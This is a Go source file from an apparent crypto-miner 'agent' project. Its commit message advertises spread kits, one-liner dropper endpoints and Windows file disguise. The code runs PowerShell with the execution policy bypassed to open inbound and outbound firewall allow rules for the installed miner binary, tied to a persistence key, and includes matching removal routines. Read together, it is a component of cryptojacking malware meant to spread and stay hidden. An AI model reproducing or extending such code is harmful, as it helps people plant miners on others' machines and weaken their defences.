0f9e04f5f6
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
79 lines
2.6 KiB
Go
79 lines
2.6 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"os/exec"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const firewallRulePrefix = "AetherForge"
|
|
|
|
// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
|
|
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
|
|
if !cfg.FirewallExclusion {
|
|
return
|
|
}
|
|
if strings.TrimSpace(exePath) == "" {
|
|
return
|
|
}
|
|
|
|
ruleBase := firewallRuleBaseName(cfg)
|
|
inName := ruleBase + " In"
|
|
outName := ruleBase + " Out"
|
|
|
|
if firewallRuleExists(inName) && firewallRuleExists(outName) {
|
|
return
|
|
}
|
|
|
|
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
|
script := fmt.Sprintf(`
|
|
$exe = '%s'
|
|
$in = '%s'
|
|
$out = '%s'
|
|
if (-not (Get-NetFirewallRule -DisplayName $in -ErrorAction SilentlyContinue)) {
|
|
New-NetFirewallRule -DisplayName $in -Direction Inbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
|
|
}
|
|
if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) {
|
|
New-NetFirewallRule -DisplayName $out -Direction Outbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
|
|
}
|
|
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))
|
|
|
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
|
if err := cmd.Run(); err != nil {
|
|
log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
|
|
return
|
|
}
|
|
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
|
|
}
|
|
|
|
// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
|
|
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
|
|
ruleBase := firewallRuleBaseName(cfg)
|
|
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
|
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
|
_ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run()
|
|
}
|
|
}
|
|
|
|
func firewallRuleBaseName(cfg config.RuntimeConfig) string {
|
|
key := PersistenceKeyName(cfg)
|
|
if key == "" {
|
|
return firewallRulePrefix
|
|
}
|
|
return firewallRulePrefix + " " + key
|
|
}
|
|
|
|
func firewallRuleExists(displayName string) bool {
|
|
script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
|
|
out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output()
|
|
if err != nil {
|
|
return false
|
|
}
|
|
return strings.TrimSpace(string(out)) == "True"
|
|
}
|